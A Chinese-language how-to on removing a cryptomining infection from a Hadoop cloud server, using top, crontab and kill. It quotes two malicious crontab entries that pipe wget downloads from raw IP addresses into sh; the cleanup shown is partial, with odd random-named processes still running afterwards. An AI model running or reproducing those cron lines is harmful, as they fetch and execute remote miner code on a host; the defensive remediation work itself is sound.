黑客通常利用云服务器开放的端口攻击云服务器,造成云服务器CPU占用率接近100%,云服务器CPU资源为黑客所用,例如:挖矿。
top命令查看资源使用情况
[hadoop@Master ~]$ top ... PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 25515 hadoop 20 0 176820 2740 428 S 96.7 0.1 22:29.82 java 1332 root 20 0 2086940 85604 2452 S 0.7 4.5 735:08.85 java 2347 hadoop 20 0 208 20 0 S 0.3 0.0 0:10.17 08ct58qfnma+ 3352 hadoop 20 0 208 36 0 S 0.3 0.0 0:51.95 34rol45oukei 7512 mongod 20 0 1091048 81148 2064 S 0.3 4.3 44:48.20 mongod ...
发现CPU被一个25515的进程占用了96.7%(接近100%)占用。
按q键退出top监听
查看定时任务
[hadoop@Master ~]$ crontab -l * * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1 10 * * * * wget -q -O - http://89.35.39.78/1.sh | sh > /dev/null 2>&1
发现确实有定时任务,而且这个ip是陌生ip。有xx.sh脚本在后台运行。
删除定时任务
[hadoop@Master ~]$ crontab -r
再次查看定时任务
[hadoop@Master ~]$ crontab -l no crontab for hadoop
用kill掉CPU占用率接近100%的进程
[hadoop@Master ~]$ kill -9 25515
再次用top命令查看资源使用情况
[hadoop@Master ~]$ top
...
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
1965 hadoop 20 0 3129388 157000 1648 S 0.3 8.3 18:59.50 java
5975 hadoop 20 0 208 44 0 S 0.3 0.0 1:26.53 id2mk0hrtdop
...
过几分钟再次用top命令查看
[hadoop@Master ~]$ top ... PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1332 root 20 0 2086940 85628 2452 S 0.7 4.5 735:13.85 java 8513 hadoop 20 0 208 40 0 S 0.3 0.0 1:08.88 fv7ed8qccns+ 17228 hadoop 20 0 208 24 0 S 0.3 0.0 0:22.29 72t7j2itqvb+ ...
总结:
CPU占用率接近100%的问题,通过top命令查出CPU占用率高的进程
如果没有定时任务,可以直接kill掉CPU占用率高的进程;
如果有定时任务,kill掉进程后,过一会top查看还会再次出现CPU 100%的问题,使用crontab -l命令查看发现有定时任务。crontab -r杀掉定时任务,再kill -9杀掉CPU占用率高的进程就ok了。
完成!enjoy it!